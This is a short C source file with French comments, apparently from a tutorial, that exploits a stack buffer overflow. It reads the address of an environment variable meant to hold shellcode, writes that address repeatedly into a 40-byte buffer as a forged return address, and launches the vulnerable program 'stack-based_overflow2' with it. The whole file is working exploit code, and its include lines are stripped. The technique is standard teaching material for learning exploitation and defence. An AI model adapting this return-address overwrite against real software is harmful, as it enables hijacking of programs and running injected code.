//stack-based_exploit2.c Exploitation de l'environnement #include #include #include #define VAR_ENV "BYTECODE" //Variable d'environnement contenant le bytecode à insérérer #define LONG_BUFFER 40 //Longueur du buffer injecté int main() { char *buffer; long env_var,*temp_addr; int i; if (getenv(VAR_ENV) == NULL) { printf("Variable d'environnement %s non trouvée\n",VAR_ENV); exit(0); } env_var = getenv(VAR_ENV); printf("Contenu de la variable d'environnement %s à 0x%x: %s\n",VAR_ENV,env_var,env_var); buffer = malloc(LONG_BUFFER); temp_addr = (long *) buffer; printf("Adresse cible à 0x%x\n",env_var); for (i=0;i < LONG_BUFFER;i+=4) //Injection de l'adresse de retour *(temp_addr++) = env_var; buffer[LONG_BUFFER - 1] = 0; execl("./stack-based_overflow2","stack-based_overflow2",buffer,0); free(buffer); return 0; }